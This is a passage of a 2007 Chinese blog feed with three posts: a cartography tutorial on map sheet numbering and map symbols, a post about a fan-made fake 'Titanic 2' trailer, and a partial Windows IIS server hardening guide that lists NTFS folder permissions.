1：10万图上每经差15′纬差10′分成四幅1：5万地形图，编为A、B、C、D，如&nbsp;E-49<BR>-1-A　&nbsp;<BR>　　1：5万图上每经差7′30″纬差5′分成四幅1：2.5万，编为1、2、3、4，如&nbsp;E-49-1-<BR>A-1&nbsp;<BR>　　1：10万图上每经差3′45″纬差2′30″分成64幅1：1万地形图，编为(1)、...(64)，<BR>如<BR>E-49-1-A-(1)　&nbsp;</P>
<P>　　1：1万图上每经差1′52″纬差1′15″分成四幅1：5000地形图，编为a、b、c、d，如</P>
<P>E-49-1-A-(1)-a&nbsp;</P>
<P>------------------------------------------------------------------------------<BR>--<BR>4.&nbsp;地图符号　&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>一.地图符号的意义&nbsp;<BR>　　地图符号是地图上各种形状、大小和颜色的图形和文字的总称。它是地图内容体现的<BR>一种主要手段。是地图的基本特征之一。&nbsp;</P>
<P>&nbsp;&nbsp;<BR>二.地图符号的分类&nbsp;<BR>　　按几何精确性分类，分为：依比例符号、不依比例符号、半依比例符号。<BR>　　依比例符号是实地占有较大面积的物体，比例尺缩小后，仍能显示其轮廓，如大面积<BR>街区、大湖等。&nbsp;通常以线划表示其外轮廓，并填绘符号或普染颜色。<BR>　　不依比例符号实地上面积较小一般具有方位意义的物体，缩至图上只能显示一个点。<BR>这类符号仅以其定位点表示物体的位置。<BR>　　半依比例符号是实地上的狭长物体，其长度能依比例表示，而宽度则需夸大，如狭长<BR>街区、铁路、公路、土堤等符号，其宽度在图上均已扩大。在图上只能测其长度，不能测<BR>其宽度。&nbsp;</P>
<P><BR>三.地图符号表示地物的原则&nbsp;<BR>　　符号的“比例”概念：地面物体与符号图形的缩小比率并非总是一致，同一物体在较<BR>大比例尺图上能依比例表示，而在较小比例尺图上则为半依比例号和非依比例符号。符号<BR>的比例关系具有一定的相对性。<BR>　　符号的定位：不依比例符号都是扩大了的图形，一般在设计时就已规定了符号的哪一<BR>部分代&nbsp;&nbsp;表地物的真实位置，这些规定的点和线，就叫定位点和定位线。&nbsp;</P>
<P>&nbsp;&nbsp;关于MAPGIS的符号请看功能演示栏目下的编辑子系统中编辑符号库的功能菜单&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>------------------------------------------------------------------------------<BR>--<BR>5.&nbsp;普通地图的内容要素及表示方法:　&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>一.普通地图上的内容要素-数学要素、地理要素和图廓外要素&nbsp;<BR>　　数学要素——坐标网、地图比例尺、地图定向等　　<BR>　　地理要素——包括自然地理要素、社会经济要素和其他标志<BR>　　自然地理要素有水系、地貌和图质植被；<BR>　　社会经济要素有居民地、交通网、境界和行政中心；<BR>　　其他标志为方位物、经济标志、科学文化标志等。<BR>　　图廓外要素——图名、图号、接图表、图例、图廓、分度带、比例尺、坡度尺及坐标<BR>系统等&nbsp;</P>
<P>&nbsp;&nbsp;<BR>二.水系及其在图上表示&nbsp;<BR>　　水系是指海洋、江河、湖泊、水库、水渠、井泉各种自然的人工的水文物体的总称。</P>
<P>　　关于河流及沟渠的表示：我国1971年《图式》中规定河流单双线的分界宽为0.4mm，即<BR>凡双线河就表示真实的河宽。<BR>　　对中小比例尺地形图(如1：5万)补充规定“实地宽100m以上的合理就扩大绘为双线”<BR>(从0.2扩大到0.4）实地河宽100米到200米这段成为符号性双线河(或称记号双线河)，它不<BR>表示真宽，要注明河宽注记。<BR>　　对小比例尺图上的河流有两种表示方法，其一，单线配合不依比例尺双线(又称过度性<BR>符号)和依比例双线的表示方法；其二，是单线配合单线真形符号表示。&nbsp;所谓单线真形符<BR>号是将河流全部填满与水涯线相同的普染色。&nbsp;</P>
<P>&nbsp;&nbsp;<BR>三.居民地及其在图上表示&nbsp;<BR>　　居民地是指各种建筑物组成的城市、集镇、农村或其他居住区的总称。<BR>　　当居民地受比例尺限制不能用真形表示时，可用圈形符号来表示居民地的位置，符号<BR>的定位点表示居民地的中心区域，符号与地物的相对关系表示居民地中心区域与地物的相<BR>对关系。&nbsp;</P>
<P>&nbsp;&nbsp;<BR>四.交通及其在图上表示&nbsp;<BR>　　交通网是各种运输的总称。它包括陆地交通、水陆交通和空中交通及管线运输几类。</P>
<P>　　道路符号是线状的，但在比例尺缩小后，它的宽度是夸大的，以我国地形图为例，铁<BR>路宽0.6mm，在1：10万图上等于实地60m，在1：50万图上为300m。　　&nbsp;<BR>&nbsp;&nbsp;<BR>五.地貌及其在图上表示&nbsp;<BR>　　晕渲法，假定光源在固定的方向上，用浓淡渐变的半色调(墨和颜色)在图上显示地貌<BR>主体形态，其实质是光彩立体感在地图上的应用。&nbsp;&nbsp;</P>
<P>　　等高线法，用一组有一定间隔(高差)的等高线的组合来反映地面的起伏形态。<BR>　　首曲线，按相应比例尺规定的等高距测绘的等高线，图上用细线表示。<BR>　　计曲线，为方便查看等高线的高程，规定从零米起算，每隔四条基本等高线加粗成粗<BR>实线。<BR>　　间曲线，按等高距的二分之一测绘的等高线，用与首曲线等粗的虚线表示，补充显示<BR>局部形态&nbsp;&nbsp;</P>
<P><BR>　　分层设色法，在不同高程带，普染不同色调的颜色来表示地貌起伏的方法。&nbsp;<BR>&nbsp;&nbsp;<BR>六.境界及其在图上表示&nbsp;<BR>　　境界是地区政治行政管辖的界线。普通地图上，可分为政区界和其他境界两大类。&nbsp;</P>
<P>　　地形图上境界的表示有以下的规定：<BR>　　两级以上的境界重合时，只表示出高一级的境界。飞地的界线用其所属的行政单位的<BR>境界符号表示，并在其范围内加隶属注记。<BR>　　境界沿河流、道路、山脊等线状地物延伸的，可以省略重合部的境界符号或在线状地<BR>物的中心，两侧或一测描绘其符号。以河流为例：当一河流中心线或主航道线为界时，境<BR>界符号在水域内或河流符号两侧不间断的交错绘出。以共有河流为界的，在河流两侧每3-<BR>4厘米交错绘出。以河流一侧为界的，在相应一侧不间断绘出。以山脊、山谷为界的不间断<BR>绘出，其通过的山头、山口、谷地等的中心位置不变，保持与地貌图形的协调性。&nbsp;<BR>------------------------------------------------------------------------------<BR>--<BR>七.&nbsp;传统测绘与“3S”“数字地球”:　&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>　　传统测绘主要包括三个组成部分即大地测量、航空摄影测量、制图，在与计算机和通<BR>讯技术融合的过程中发展出新的测绘体系，以“3S”为基础的产业技术体系即地理信息系<BR>统GIS、全球定位系统GPS、遥感RS。“数字地球”的美好前景，更使得地理信息产业再次<BR>唤起全球的关注。&nbsp;</P>
<P>　　按国际上当前发展的趋势，测绘必将与社会经济应用领域更紧密的结合起来，缩短与<BR>用户的差距，更符合用户的需要，测绘必将从专业化走向大众化。数字制图与GIS工作者正<BR>是这种趋势的重要推动力！&nbsp;<BR></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=411" /> 
	  <id>http://www.openx.cn/default.asp?id=411</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[泰坦尼克号2 深海魅影—杰克归来  预告片]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2007-01-25T09:15:33+08:00</updated>
	  <published>2007-01-25T09:15:33+08:00</published>
		  <summary type="html"><![CDATA[<P>《泰坦尼克号》续集：<BR>中文名称：泰坦尼克号2 深海魅影—杰克归来<BR>英文名称：Titanic2 - Jack is back<BR>资源类型：DVDRip 版本：AC3 发行时间：2007年夏<SPAN class=fullpost><BR>电影导演：詹姆斯·卡梅伦James Cameron<BR>电影演员：莱昂纳多·迪卡普里奥Leonardo DiCaprio　　　　　<BR>凯特·温丝莱特Kate Winslet　　　　　<BR>比利·赞恩Billy Zane　　　　　<BR>凯茜·贝茨Kathy Bates　　　　　<BR>格罗丽亚·斯图尔特Gloria Stuart<BR>地区：美国语言：英语<BR></SPAN></P>
<P><SPAN class=fullpost>在这个名为《Titanic:2：jack is back》预告片中，讲述为救爱人露斯而溺毙的杰克，几十年后被人发现冰冻于深海中，获得解救后的杰克对现代人的生活十分之不习惯，于是决定从研究所逃出去，找寻露斯的芳踪，期间还遭到警方及研究所人员的追捕，险象环生。预告片末尾还特别注明，这个夏天影片将正式上映。　　<BR><BR>由于制作预告的影迷，用了不少莱昂纳多在《泰》片的片段，以及一些他的旧作，如《猫鼠游戏》、《赤子本色》及《罗密欧与朱丽叶》等电影片段来剪辑预告片，加上影星约翰·库萨克和珍妮弗·康纳莉等人都于片中现身，认真的制作和巧妙的剪接令不少网友都以为《泰》片真的秘密拍了续集，以为是真的预告片。</P></SPAN>
<P>[swf]http://video.qq.com/res/qqplayerout.swf?vid=0bg0U6D3S2b[/swf]</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=410" /> 
	  <id>http://www.openx.cn/default.asp?id=410</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[服务器安全设置]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2007-01-24T11:22:24+08:00</updated>
	  <published>2007-01-24T11:22:24+08:00</published>
		  <summary type="html"><![CDATA[<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><SPAN class=content>
<P><STRONG class="style2 style8"><FONT color=#ff0000 size=3>1、<SPAN class=style9>服务器安全设置之--</SPAN>硬盘权限篇</FONT></STRONG><A name=1></A><BR><BR>&nbsp;&nbsp;&nbsp;这里着重谈需要的权限，也就是最终文件夹或硬盘需要的权限，可以防御各种木马入侵，提权攻击，跨站攻击等。本实例经过多次试验，安全性能很好，服务器基本没有被木马威胁的担忧了。</P>
<P>===================================================</P>
<P>===================================================</P>
<DIV></DIV>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\</FONT></STRONG></SPAN> <SPAN class=warningColor><STRONG><FONT color=#ff0000>D:\</FONT></STRONG></SPAN> <SPAN class=warningColor><STRONG><FONT color=#ff0000>E:\</FONT></STRONG></SPAN> <SPAN class=warningColor><STRONG><FONT color=#ff0000>F:\</FONT></STRONG></SPAN> 类推 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD colSpan=2 rowSpan=9>
<DIV align=left></DIV>
<DIV align=center>无<BR><SPAN class=style7><FONT color=#0000ff>如果安装了其他运行环境，比如PHP等，则根据PHP的环境功能要求来设置硬盘权限，一般是安装目录加上users读取运行权限就足够了，比如c:\php的话，就在根目录权限继承的情况下加上users读取运行权限，需要写入数据的比如tmp文件夹，则把users的写删权限加上，运行权限不要，然后把虚拟主机用户的读权限拒绝即可。如果是mysql的话，用一个独立用户运行MYSQL会更安全，下面会有介绍。如果是winwebmail，则最好建立独立的应用程序池和独立IIS用户，然后整个安装目录有winwebmail进程用户的读/运行/写/权限，IIS用户则相同，这个IIS用户就只用在winwebmail的WEB访问中，其他IIS站点切勿使用，安装了winwebmail的服务器硬盘权限设置后面举例</FONT></SPAN></DIV></TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>CREATOR OWNER</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD></TD>
<TD>只有子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹:<SPAN class=warningColor><STRONG><FONT color=#ff0000> C:\Inetpub\</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD colSpan=2 rowSpan=9>
<DIV align=left></DIV>
<DIV align=center>无</DIV></TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;继承于c:\&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>CREATOR OWNER</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD></TD>
<TD>只有子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;继承于c:\&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;继承于c:\&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹:<STRONG><FONT color=#ff0000><SPAN class=warningColor> C:\Inetpub\</SPAN><SPAN class=warningColor>AdminScripts</SPAN></FONT></STRONG> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD colSpan=2 rowSpan=6>
<DIV align=left></DIV>
<DIV align=center>无</DIV></TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\Inetpub\wwwroot </FONT></STRONG></SPAN>
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD width="21%">
<DIV align=right>IIS_WPG</DIV></TD>
<TD width="31%">
<DIV align=left>读取运行/列出文件夹目录/读取</DIV></TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD>
<TD></TD>
<TD>
<DIV align=left>该文件夹，子文件夹及文件</DIV></TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD>
<TD>
<DIV align=right>Users</DIV></TD>
<TD>读取运行/列出文件夹目录/读取</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD colSpan=2 rowSpan=3>
<DIV class=style7 align=center>
<DIV align=right>这里可以把虚拟主机用户组加上<BR>同Internet 来宾帐户一样的权限<BR>拒绝权限</DIV></DIV></TD>
<TD>
<DIV align=right>Internet 来宾帐户 </DIV></TD>
<TD>创建文件/写入数据/:拒绝<BR>创建文件夹/附加数据/:拒绝 <BR>写入属性/:拒绝<BR>写入扩展属性/:拒绝 <BR>删除子文件夹及文件/:拒绝<BR>删除/:拒绝</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\Inetpub\wwwroot\aspnet_client</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD width="21%">
<DIV align=right>Users</DIV></TD>
<TD width="31%">读取</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD>
<TD colSpan=2 rowSpan=3>&nbsp;</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\Documents and Settings </FONT></STRONG></SPAN>
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD colSpan=2 rowSpan=6>
<DIV align=left></DIV>
<DIV align=center>无</DIV></TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\Documents and Settings\All Users</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD width="21%">
<DIV align=right>Users</DIV></TD>
<TD width="31%">读取和运行</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD>
<TD colSpan=2 rowSpan=3>
<DIV class=style7 align=center>USERS组的权限仅仅限制于读取和运行，<BR>绝对不能加上写入权限</DIV></TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\Documents and Settings\All Users\「开始」菜单</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD colSpan=2 rowSpan=6>
<DIV align=center>无</DIV></TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\Documents and Settings\All Users\Application Data</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD width="21%">
<DIV align=right>Users</DIV></TD>
<TD width="31%">读取和运行</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>CREATOR OWNER</DIV></TD>
<TD>完全控制</TD>
<TD width="21%">
<DIV align=right>Users</DIV></TD>
<TD width="31%">写入</TD></TR>
<TR>
<TD></TD>
<TD>只有子文件夹及文件</TD>
<TD></TD>
<TD>该文件夹，子文件夹</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD>
<TD colSpan=2 rowSpan=5>
<DIV class=style7 align=center>两个并列权限同用户组需要分开列权限</DIV></TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\Documents and Settings\All Users\Application Data\Microsoft</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD width="21%">
<DIV align=right>Users</DIV></TD>
<TD width="31%">读取和运行</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD>
<TD colSpan=2 rowSpan=3>
<DIV class=style7 align=center>此文件夹包含 Microsoft 应用程序状态数据</DIV></TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\Documents and Settings\All Users\Application Data\Microsoft\Crypto\RSA\MachineKeys</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD width="21%">
<DIV align=right>Everyone</DIV></TD>
<TD width="31%">
<P>列出文件夹、读取属性、读取扩展属性、创建文件、创建文件夹、写入属性、写入扩展属性、读取权限 
<DIV></DIV></TD></TR>
<TR>
<TD></TD>
<TD>只有该文件夹</TD>
<TD rowSpan=2>
<DIV class=style7 align=center>Everyone这里只有读写权限，不能加运行和删除权限，仅限该文件夹</DIV></TD>
<TD>只有该文件夹</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\Documents and Settings\All Users\Application Data\Microsoft\Crypto\DSS\MachineKeys</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD width="21%">
<DIV align=right>Everyone</DIV></TD>
<TD width="31%">
<P>列出文件夹、读取属性、读取扩展属性、创建文件、创建文件夹、写入属性、写入扩展属性、读取权限 
<DIV></DIV></TD></TR>
<TR>
<TD></TD>
<TD>只有该文件夹</TD>
<TD rowSpan=2><SPAN class=style7><FONT color=#0000ff>Everyone这里只有读写权限，不能加运行和删除权限，仅限该文件夹</FONT></SPAN></TD>
<TD>只有该文件夹</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\Documents and Settings\All Users\Application Data\Microsoft\HTML Help</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD width="21%">
<DIV align=right>Users</DIV></TD>
<TD width="31%">读取和运行</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD>
<TD colSpan=2 rowSpan=3>
<DIV align=center></DIV></TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\Documents and Settings\All Users\Application Data\Microsoft\Network\Connections\Cm</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD width="21%">
<DIV align=right>Everyone</DIV></TD>
<TD width="31%">读取和运行</TD></TR>
<TR>
<TD></TD>
